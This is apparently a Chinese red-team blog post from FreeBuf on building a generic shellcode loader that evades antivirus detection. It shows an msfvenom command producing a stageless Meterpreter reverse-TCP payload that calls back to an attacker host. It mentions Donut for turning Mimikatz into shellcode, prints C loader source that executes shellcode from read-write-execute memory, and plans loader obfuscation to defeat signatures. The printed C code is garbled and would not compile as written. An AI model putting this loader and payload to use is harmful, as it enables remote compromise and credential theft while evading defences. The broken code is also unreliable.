#FreeBuf#红队基本操作:通用Shellcode加载器


Shellcode加载器是一种基本的规避技术 。 尽管shellcode加载器通常可以促进payload的初始执行 , 但是启发式检测方法仍可以标记payload的其他方面和行为 。 例如 , 很多安全产品可能会在内存中时对其进行检测 , 或者将特定的网络流量检测为恶意 。 我们将研究一些适合与加载器结合使用的后期开发框架 , 并研究如何嵌入其他类型的二进制文件(例如.NET和已编译的PE二进制文件) 。
博客系列的第一部分将介绍使用Shellcode进行后期开发payload的基本要领 。 在第二部分中 , 我们将为加载器实现其他功能 , 并查看某些功能的一些优点和缺点 。 因为我们使用shellcode来避免基于签名的检测 , 所以重要的是限制安全解决方案创建启动程序签名的可能性 。 二进制混淆是避免基于签名的检测的一种潜在解决方案 , 我们将编写一个python脚本来自动化加载器的生成和混淆 。
Shellcode简介在攻击中我们需要在目标上执行某些shellcode 。 诸如Metasploit和Cobalt Strike之类的后期开发框架都有自己的shellcode , 但是这些框架中的payload由于被广泛使用而具有很高的检测率 。 但是 , 它们提供了一些功能 , 可以让我们自由发挥 。 此外 , 使用易于检测的shellcode将有助于我们确定加载器的回避功能在开发过程中是否正常运行 。
Metasploit和Cobalt Strike提供both staged和stageless payload 。 使用both staged的payload时 , shellcode会更小 , 从而导致启动程序二进制文件更小 。 然而 , 与stageless payload相比 , both staged的payload被发现的可能更大 。 这可能是因为来自服务端的网络流量被标记为恶意 , 或者是因为检测到了攻击者用来执行最终payload的方法 。 在这片博客中 , 我们将使用stageless payload进行规避 , 因为我们不关心在将payload加载到内存之前的检测 。 有关both staged与stageless payload的更多信息 , 请查看深入了解无负载计量表的负载 OJ Reeves的博客文章 。
#FreeBuf#红队基本操作:通用Shellcode加载器
本文插图
上图演示了如何使用msfvenom生成原始shellcode 。 我们指定payload连接的IP和端口 , 并将输出保存到文件中 。 处理大文件时 , 该head命令只能用于打印第一个字符 。 在这里 , 我们使用该-c参数仅输出前100个字符 , 然后我们可以将其通过管道传递xxd以获得shellcode的十六进制转储 。
msfvenom –p windows/meterpreter_reverse_tcp LHOST=IP LPORT=port > stageless_meterpreter.rawhead –c 100 stageless_meterpreter.raw | xxd【#FreeBuf#红队基本操作:通用Shellcode加载器】TheWover 的Donut项目可用于创建与位置无关的shellcode , 该shellcode可以加载.NET , PE和DLL文件 。 该工具将允许我们通过支持其他payload类型来扩展加载器的可用性 。 使用Donut , 我们可以轻松地为Mimikatz , Safetykatz和Seatbelt等工具生成shellcode 。
剖析Shellcode加载器shellcode加载器是用C编写的 , 我们将使用Python自动插入shellcode并编译二进制文件 。 要在Linux上编译Windows可执行文件 , 我们将使用MinGW编译器 。
#include <stdio.h>#include <windows.h>using namespace std;int main{char shellcode = "把shellcode粘贴到这里";LPVOID lpAlloc = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(lpAlloc, shellcode, sizeof shellcode);((void(*))lpAlloc);return 0;}在这里 , 我们可以看到标准shellcode加载器的源代码 。 在本博客系列中 , 我们将为该加载器添加功能 。 包括四个主要部分 。 首先 , shellcode被定义为char变量 , 但是当前源代码具有一个占位符字符串 , 该字符串将在以后自动对其进行修改 。 然后 , 我们使用VirtualAlloc为shellcode分配内存 。 重要的是要注意 , 此内存页当前具有读取 , 写入和执行权限 。 之后 , 使用memcpy将shellcode移到新分配的内存页面中 。 最后 , 执行shellcode 。